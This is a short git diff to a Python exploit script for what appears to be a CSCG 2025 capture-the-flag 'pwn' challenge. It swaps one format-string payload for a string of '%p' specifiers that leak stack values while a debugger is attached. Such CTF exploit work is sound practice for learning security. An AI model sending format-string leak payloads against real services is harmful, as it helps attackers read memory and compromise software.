diff --git a/cscg25/pwn/intro2/exploit.py b/cscg25/pwn/intro2/exploit.py
index 0cb48c4..06e726f 100644
--- a/cscg25/pwn/intro2/exploit.py
+++ b/cscg25/pwn/intro2/exploit.py
@@ -23,7 +23,7 @@ bug_addr = 0x40406c
 
 # Example interaction
 recv_until(b'What is your name?')
-payload = b"\x40\x40\x6c" + b"%08$6x\n"
+payload = b"%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n"
 print("enter if gdb attached")
 input()
 send_payload(payload)